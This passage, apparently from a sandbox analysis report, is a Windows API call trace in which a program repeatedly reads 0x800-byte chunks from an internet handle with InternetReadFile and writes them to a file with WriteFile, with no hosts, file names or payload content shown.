out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.219] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.219] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.219] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.219] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.219] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.219] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.219] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.220] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.220] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.220] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.220] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.220] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.220] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.220] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.220] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.220] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.220] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.220] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.220] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.221] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.221] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.221] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.221] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.222] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.222] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.222] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.222] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.222] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.222] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.222] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.222] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.223] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.223] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.223] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.223] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.223] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.223] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.223] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.223] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.223] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.223] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.223] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.226] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.226] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.227] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.227] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.227] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.227] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.227] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.227] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.236] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.237] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.237] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.238] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.238] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.238] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.244] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.245] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.245] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.245] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.245] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.245] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.245] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.245] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.246] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.246] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.249] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.249] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.249] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.250] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.250] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.250] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.250] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.250] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.250] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.250] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.250] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.251] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.251] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.251] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.251] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.251] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.251] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.251] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.251] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.252] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.252] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.252] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.252] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.252] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.252] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.252] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.252] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.253] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.253] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.253] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, 